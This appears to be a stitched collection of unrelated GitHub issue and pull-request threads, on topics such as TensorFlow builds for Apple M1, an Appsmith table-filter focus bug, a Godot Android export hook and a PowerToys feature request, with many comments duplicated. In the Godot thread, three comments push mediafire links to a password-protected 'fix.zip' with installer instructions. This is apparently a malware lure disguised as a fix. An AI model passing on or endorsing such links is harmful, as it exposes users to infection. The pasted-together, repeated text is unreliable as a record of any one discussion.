ImportError: dlopen(/Users/huibean/tensorflow_macos_venv/lib/python3.8/site-packages/tensorflow/python/_pywrap_tensorflow_internal.so, 6): no suitable image found.  Did find:
	/Users/huibean/tensorflow_macos_venv/lib/python3.8/site-packages/tensorflow/python/_pywrap_tensorflow_internal.so: mach-o, but wrong architecture
	/Users/huibean/tensorflow_macos_venv/lib/python3.8/site-packages/tensorflow/python/_pywrap_tensorflow_internal.so: mach-o, but wrong architecture

@TheMartian32 Thanks, just try that, but crash with another error when import TensorFlow
ImportError: Traceback (most recent call last):
  File "/Users/huibean/tensorflow_macos_venv/lib/python3.8/site-packages/tensorflow/python/pywrap_tensorflow.py", line 64, in <module>
    from tensorflow.python._pywrap_tensorflow_internal import *
ImportError: dlopen(/Users/huibean/tensorflow_macos_venv/lib/python3.8/site-packages/tensorflow/python/_pywrap_tensorflow_internal.so, 6): no suitable image found.  Did find:
	/Users/huibean/tensorflow_macos_venv/lib/python3.8/site-packages/tensorflow/python/_pywrap_tensorflow_internal.so: mach-o, but wrong architecture
	/Users/huibean/tensorflow_macos_venv/lib/python3.8/site-packages/tensorflow/python/_pywrap_tensorflow_internal.so: mach-o, but wrong architecture

@Huibean  Ah, sorry about that. This issue from that GitHub page seems to solve it: https://github.com/apple/tensorflow_macos/issues/3
Scroll down until it says Nov 18 and the comment should have ( at the time of writing this comment ) 13 likes and 5 hearts. If you encounter any other issues, feel free to tag me and I'd be happy to help.

@Huibean  Ah, sorry about that. This issue from that GitHub page seems to solve it: https://github.com/apple/tensorflow_macos/issues/3
Scroll down until it says Nov 18 and the comment should have ( at the time of writing this comment ) 13 likes and 5 hearts. If you encounter any other issues, feel free to tag me and I'd be happy to help.

@TheMartian32 thx, but I am a little bit confused, this issue is created on  19 Nov 2020

@TheMartian32 thx, but I am a little bit confused, this issue is created on  19 Nov 2020

Apple's closed source fork is not a good solution. For one it's missing the libraries (libtensorflow) and only provides the frameworks (which I assume have a subset of the functionality). Essentially the apple fork is only useful for running python with tensorflow, but any attempt at using the C interface will fail

Apple's closed source fork is not a good solution. For one it's missing the libraries (libtensorflow) and only provides the frameworks (which I assume have a subset of the functionality). Essentially the apple fork is only useful for running python with tensorflow, but any attempt at using the C interface will fail

After #45404 you should be able to compile this repository on Apple M1 chips.
However, we still cannot provide full support as we lack devices to test on.

After #45404 you should be able to compile this repository on Apple M1 chips.
However, we still cannot provide full support as we lack devices to test on.

@mihaimaruseac trying to build it today

@mihaimaruseac trying to build it today

Now I can success import after build from source with master, thanks @mihaimaruseac

Now I can success import after build from source with master, thanks @mihaimaruseac

Awesome. Thank you for confirming.
If you encounter bugs, please still open them here, though we cannot provide real support as for the other platforms at the moment due to lack of hardware and head count. But we'll try to fix things as it is possible.

Awesome. Thank you for confirming.
If you encounter bugs, please still open them here, though we cannot provide real support as for the other platforms at the moment due to lack of hardware and head count. But we'll try to fix things as it is possible.

@mihaimaruseac I can import the module, trying to run some basic code, but it seems like an empty module
(base) ➜  Work ipython
Python 3.8.3 (default, Jul  2 2020, 11:26:31)
Type 'copyright', 'credits' or 'license' for more information
IPython 7.16.1 -- An enhanced Interactive Python. Type '?' for help.

In [1]: import tensorflow as tf

In [2]: tf.add(1, 2).numpy()
---------------------------------------------------------------------------
AttributeError                            Traceback (most recent call last)
<ipython-input-2-a78df43b9eac> in <module>
----> 1 tf.add(1, 2).numpy()

AttributeError: module 'tensorflow' has no attribute 'add'

@mihaimaruseac I can import the module, trying to run some basic code, but it seems like an empty module
(base) ➜  Work ipython
Python 3.8.3 (default, Jul  2 2020, 11:26:31)
Type 'copyright', 'credits' or 'license' for more information
IPython 7.16.1 -- An enhanced Interactive Python. Type '?' for help.

In [1]: import tensorflow as tf

In [2]: tf.add(1, 2).numpy()
---------------------------------------------------------------------------
AttributeError                            Traceback (most recent call last)
<ipython-input-2-a78df43b9eac> in <module>
----> 1 tf.add(1, 2).numpy()

AttributeError: module 'tensorflow' has no attribute 'add'

Two things:

Make sure you do the above from a different directory than the sources of TF when compiling from source
If the above doesn't work, can paste the output of ls site-package/lib/tensorflow (or where TF pip gets installed)?

Two things:

Make sure you do the above from a different directory than the sources of TF when compiling from source
If the above doesn't work, can paste the output of ls site-package/lib/tensorflow (or where TF pip gets installed)?

@mihaimaruseac
I guess I don't have it in site-package
(base) ➜  site-packages pwd
/Users/huibean/anaconda3/lib/python3.8/site-packages
(base) ➜  site-packages ls tensor*
tensorboard_plugin_wit:
__init__.py          _vendor              wit_plugin_loader.py
__pycache__          static
_utils               wit_plugin.py

tensorboard_plugin_wit-1.8.0.dist-info:
INSTALLER        RECORD           entry_points.txt
METADATA         WHEEL            top_level.txt

tensorflow_estimator:
__init__.py __pycache__ _api        python

tensorflow_estimator-2.4.0.dist-info:
INSTALLER     METADATA      RECORD        WHEEL         top_level.txt
(base) ➜  site-packages

@mihaimaruseac
I guess I don't have it in site-package
(base) ➜  site-packages pwd
/Users/huibean/anaconda3/lib/python3.8/site-packages
(base) ➜  site-packages ls tensor*
tensorboard_plugin_wit:
__init__.py          _vendor              wit_plugin_loader.py
__pycache__          static
_utils               wit_plugin.py

tensorboard_plugin_wit-1.8.0.dist-info:
INSTALLER        RECORD           entry_points.txt
METADATA         WHEEL            top_level.txt

tensorflow_estimator:
__init__.py __pycache__ _api        python

tensorflow_estimator-2.4.0.dist-info:
INSTALLER     METADATA      RECORD        WHEEL         top_level.txt
(base) ➜  site-packages

What is the output of pip list?

What is the output of pip list?

@mihaimaruseac I don't have it in pip
(base) ➜  tensorflow git:(master) pip list | grep tens
tensorboard-plugin-wit             1.8.0
tensorflow-estimator               2.4.0
typing-extensions                  <IP_ADDRESS>
widgetsnbextension                 3.5.1

I build the source with these steps, can't not get arm64 whl
 bazel build --config=macos_arm64 tensorflow/tools/pip_package:build_pip_package
./bazel-bin/tensorflow/tools/pip_package/build_pip_package /tmp/tensorflow_pkg
(base) ➜  tensorflow git:(master) ls /tmp/tensorflow_pkg
tensorflow-2.5.0-cp38-cp38-macosx_11_0_x86_64.whl
(base) ➜  tensorflow git:(master) pip install /tmp/tensorflow_pkg/tensorflow-2.5.0-cp38-cp38-macosx_11_0_x86_64.whl
ERROR: tensorflow-2.5.0-cp38-cp38-macosx_11_0_x86_64.whl is not a supported wheel on this platform.

@mihaimaruseac I don't have it in pip
(base) ➜  tensorflow git:(master) pip list | grep tens
tensorboard-plugin-wit             1.8.0
tensorflow-estimator               2.4.0
typing-extensions                  <IP_ADDRESS>
widgetsnbextension                 3.5.1

I build the source with these steps, can't not get arm64 whl
 bazel build --config=macos_arm64 tensorflow/tools/pip_package:build_pip_package
./bazel-bin/tensorflow/tools/pip_package/build_pip_package /tmp/tensorflow_pkg
(base) ➜  tensorflow git:(master) ls /tmp/tensorflow_pkg
tensorflow-2.5.0-cp38-cp38-macosx_11_0_x86_64.whl
(base) ➜  tensorflow git:(master) pip install /tmp/tensorflow_pkg/tensorflow-2.5.0-cp38-cp38-macosx_11_0_x86_64.whl
ERROR: tensorflow-2.5.0-cp38-cp38-macosx_11_0_x86_64.whl is not a supported wheel on this platform.

What is the output of pip debug verbose?
pip list seems to suggest the wheel was not installed, which makes sense. Now it's strange that import tensorflow works, but probably this is because of tensorflow_estimator depending on TF and faking it.

What is the output of pip debug verbose?
pip list seems to suggest the wheel was not installed, which makes sense. Now it's strange that import tensorflow works, but probably this is because of tensorflow_estimator depending on TF and faking it.

Can that help: https://github.com/apple/tensorflow_macos ?

any updates?

Hi, is there any way to use the tensorflow-io in mac m1 ? Could I build the source code of tensorflow-io in the mac m1 machine ? The purpose is to use tensorflow-io with kafka in mac m1. Thanks.

@aelmrabe , just use Apple's own distribution of TensorFlow until it's merged into the main project https://github.com/apple/tensorflow_macos


fix: Table filter text loses focus when user is typing

Description
TL;DR
When user types in the input box for table filter, the input loses focus after a 500ms while typing. This is a regression from https://github.com/appsmithorg/appsmith/pull/16904 PR (bug - https://github.com/appsmithorg/appsmith/issues/12638)
We were stringifying the whole filter object and using it in the key for each table filter. But when we changed the filter value the key would get updated and hence the filter re-rendered and the text input lost focus.
The key was previously set this way to address another bug where the value field of the filter would not update in the DOM although the filter data was correct.
The solution to address both these issues was to assign a unique key to the filters. Since the filter data is totally front-end generated we do not have any unique id to use here as the key. So we generate unique id for each filter now and use it as the key.
Fixes #18040
Type of change

Bug fix (non-breaking change which fixes an issue)

How Has This Been Tested?

Manual

Test Plan

Add Testsmith test cases links that relate to this PR
Suggested tests

Verify that value input does not lose focus in table filter
Verify bug - https://github.com/appsmithorg/appsmith/issues/12638
Verify that clearing filters don't reset the current page in the table and only adding and applying a filter resets the page to 1
Verify basic filter functionalities

Issues raised during DP testing

Link issues raised during DP testing for better visiblity and tracking (copy link from comments dropped on this PR)

Checklist:
Dev activity

[x] My code follows the style guidelines of this project
[x] I have performed a self-review of my own code
[x] I have commented my code, particularly in hard-to-understand areas
[ ] I have made corresponding changes to the documentation
[x] My changes generate no new warnings
[ ] I have added tests that prove my fix is effective or that my feature works
[ ] New and existing unit tests pass locally with my changes
[ ] PR is being merged under a feature flag

QA activity:

[ ] Test plan has been approved by relevant developers
[ ] Test plan has been peer reviewed by QA
[ ] Cypress test cases have been added and approved by either SDET or manual QA
[ ] Organized project review call with relevant stakeholders after Round 1/2 of QA
[ ] Added Test Plan Approved label after reveiwing all Cypress test

/ok-to-test sha=8962703

/ok-to-test sha=8962703

/ok-to-test sha=8962703

/ok-to-test sha=8962703

/ok-to-test sha=200d492

@souma-ghosh The table crashes as soon as we remove dummy data from Data items .

@laveena-en
Page number should not reset when clearing a filter using Clear All btn or clearing a single filter with the cross btn in filter pane. Here is the loom explaining the behaviour using Clear All btn
https://www.loom.com/share/66019a500b4d4420b4c813823287897d

/ok-to-test sha=8f18007

@souma-ghosh
On adding an partial evaluation, the results being fetched are incorrect: https://www.loom.com/share/f051a226e2484f3db350c6e5cc882d28
Also, unable to navigate to the next page when a filter is applied:
https://www.loom.com/share/515c6e815a7640eaab504ae7ce0f16ac

@souma-ghosh On adding an partial evaluation, the results being fetched are incorrect: https://www.loom.com/share/f051a226e2484f3db350c6e5cc882d28
Also, unable to navigate to the next page when a filter is applied: https://www.loom.com/share/515c6e815a7640eaab504ae7ce0f16ac

For the first one, the issue exists on release and prod. We should create an issue for this.
For the second one, if server side pagination is not integrated then this behaviour is correct as the number of results is less. That's why the the page count says 1 and the next button is disabled. Please correct me if I am wrong here.

Created a separate issue for the partial condition in filters: https://github.com/appsmithorg/appsmith/issues/20435

Tested and verified.

/ok-to-test sha=713cd18


Bump location redshift field to 1024 chars

Syncs were failing because Arabic characters were getting counted as bytes, which quickly exceeded the former limit of 256.

Makes sense to me - merging!


#1252 added info.yaml per Linux Foundation requirement

As per #1252
@schannamallu :
I have ran against yamllint so should be valid yaml
I don't yet have answers to all the questions for permitted value
some sections are empty where it was unclear what to add - others I've taken a guess
please review/comment on the PR
@mandy-chessell
Please review as above. Also I have sourced maintainers from MAINTAINERS.md - I don't have access to review the github lists. please suggest any corrections needed

recheck

rechecking - build failure was a UI download issue so presumably network/infra related not a code issue


TypeError: Cannot use 'in' operator to search for 'offset' in undefined

If I set "popup = true," my markers do not render and I get: "TypeError: Cannot use 'in' operator to search for 'offset' in undefined." However, if I set "popup = false," my markers render, but without a popup.
Oddly, the popups work in a development environment, but they fail in a production environment. I'm using Heroku and have set "NPM_CONFIG_PRODUCTION = false"; is it possible that this is causing the error? I've been trying to fix this for two and a half months. Please advise.

popup=true is the default, so if you try the demo app, you can tell that it works.
NPM_CONFIG_PRODUCTION has no bearing on whether this library works at all, it doesn't know anything about that environment variable name.
I'm not sure why it is failing on your production environment - but it is something specific to the way you're building or setting up your application, and wouldn't be specific to this library per-se.
I would suggest debugging the issue in the browser console to find out the root cause - i.e. what is it trying to search for offset in.

Antony,
First, thank you for your quick response, but also thank you for all of your contributions to Svelte and the greater community.
As a neophyte, I'm still struggling with debugging in a production environment. The error is being thrown from a node module, if I recall correctly, map.js line 322. I thought this was a part of the @beyonk/svelte-mapbox library, but I'll have to take a closer look.
Sorry to clutter up your library's Issue section!
Best regards,
John

No worries, it's certainly an odd one. I couldn't be sure what is causing that specific error - I don't know what the hosting environment would have to do with the error you are seeing.
Sorry I can't be of more help!

I've basically rewritten this module now! If the error still occurs after upgrading to > 8.0.3 please comment and we can reopen.


feat(core-data): implement Get Event by Id V2 API

PR Checklist
Please check if your PR fulfills the following requirements:

[x] The commit subject follows the Conventional Commits spec
[x] The commit message follows the EdgeX Contributor Guide
[x] Tests for the changes have been added (for bug fixes / features)
[x] Docs have been added / updated (for bug fixes / features)
[x] make test has completed successfully

PR Type
What kind of change does this PR introduce?

[ ] Bugfix
[x] Feature
[ ] Code style update (formatting, local variables)
[ ] Refactoring (no functional changes, no api changes)
[ ] Build related changes
[ ] CI related changes
[ ] Documentation content changes
[ ] Other... Please describe:

What is the current behavior?

Issue Number: Fix https://github.com/edgexfoundry/edgex-go/issues/2670
What is the new behavior?
Implement Get Event by Id V2 API with unit test
Does this PR introduce a breaking change?

[ ] Yes
[x] No

there is still one small unit test problem, but it is ready to be reviewed

The unit test problem has been resolved

@lenny-intel I look into the function, and there is no real "send" action here
func Encode(i interface{}, w http.ResponseWriter, LoggingClient logger.LoggingClient) {
	w.Header().Add(clients.ContentType, clients.ContentTypeJSON)

	enc := json.NewEncoder(w)
	err := enc.Encode(i)
	// Problems encoding
	if err != nil {
		LoggingClient.Error("Error encoding the data: " + err.Error())
		http.Error(w, err.Error(), http.StatusBadRequest)
		return
	}
}

recheck

recheck

enc := json.NewEncoder(w)

It is obscured by this line. Which is using the ResponseWriter to encode which sends the data.

enc := json.NewEncoder(w)

@cloudxxx8 , It is obscured by this line. Which is using the ResponseWriter to encode which sends the data.

@lenny-intel I added comment.  please help check again.  thanks.


Another way of adding kf namespacing

Change the way of implement namespacing extension #435

Current coverage is 74.15% (diff: 65.47%)

Merging #441 into master will decrease coverage by 2.38%

@@             master       #441   diff @@
==========================================
  Files            20         21     +1
  Lines          2106       2194    +88
  Methods           0          0
  Messages          0          0
  Branches          0          0
==========================================
+ Hits           1612       1627    +15
- Misses          494        567    +73
  Partials          0          0

Powered by Codecov. Last update 2c8ebc8...86159a4

@webfrogs LGTM


_customize_scene() is not called during Android export

Tested versions
Reproducible in 4.3.stable
System information
Android 13 - Godot v4.3.stable - Windows 11 dev environment
Issue description
The documentation states:

Return true [from _begin_customize_scenes() method] if this plugin will customize scenes based on the platform and features used.
When enabled, _get_customization_configuration_hash and _customize_scene will be called and must be implemented.

However, in the attached project, _customize_scene() method is never called.
Interestingly, if the included plugin's aar archive files are removed and replaced with dummy files, then the export mechanism starts calling the _customize_scene() method.
Steps to reproduce

Open attached project in Godot Editor
Install Android export template from Godot's Project menu
Select Android export preset and export debug
Check output tab & notice that _customize_scene() is never called (addons/SharePlugin/ShareExportPlugin.gd)
Remove addons/SharePlugin/bin/debug/SharePlugin-3.0-debug.aar and addons/SharePlugin/bin/release/SharePlugin-3.0-release.aar & replace with dummy files, & notice that export fails, but _customize_scene() method is called.

Minimal reproduction project (MRP)
customize-scenes.zip

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."

@cengiz-pz During my tests, _customize_scene() is called if a scene is created/updated in project. Try adding a new child or creating a scene before export, it will call this function during export.
I think it should return null if no changes is made. I will look at codebase today (if i get some time).

Check output tab & notice that _customize_scene() is never called

I couldn't reproduce it

@cengiz-pz _customize_scene() is called if a scene is modified before export. Doc link
You can try adding a new child or creating a scene before export.

Reproduced in the 2nd attempt, what you wrote, what is in the documentation is correct.
PR: https://github.com/godotengine/godot/pull/65135

Uses a cache for the converted files if nothing changes, so this work only happens if a file is modified.

For large projects it makes sense to speed up the export process. Otherwise, editor_description could be adjusted, e.g. write timestamps there to force _customize_scene.
I think no https://github.com/godotengine/godot/labels/bug and it can be closed?


[PowerToys Run] On startup show most used applications

Description of the new feature / enhancement
Currently on startup of PowerToys Run, and empty list is shown.
I would like an option which enables this feature. The feature shows top 5 (the number can be based on Number of results shown before scrolling value ) most used applications.
Current:

Want to have:

Scenario when this would be used?
PowerToys Run is an extremely useful and versatile tool. This feature allows to skip one possible extra step in executing applications/services that I want.
Supporting information
No response

There is already a plugin for search History that may be useful but it needs to be triggered with the activation key.

/needinfo

Thank you for your reply. History plugin is available, but I still have to input the activation command, Can I have the history plugin activated without having to type anything at all?

Currently not supported.
I have tagged the issue as as enhancement. I think we will need specs on how this feature will work before implementing something.


make install outputs warnings

Summary
make install outputs warnings
Problem Definition
$ make install
Makefile:319: warning: overriding commands for target `/Users/rootulp/git/rootulp/celestia/celestia-core/build'
Makefile:79: warning: ignoring old commands for target `/Users/rootulp/git/rootulp/celestia/celestia-core/build'

Proposal
Remove all warnings in Makefile

I don't see this on v0.34.x-celestia, running on ubuntu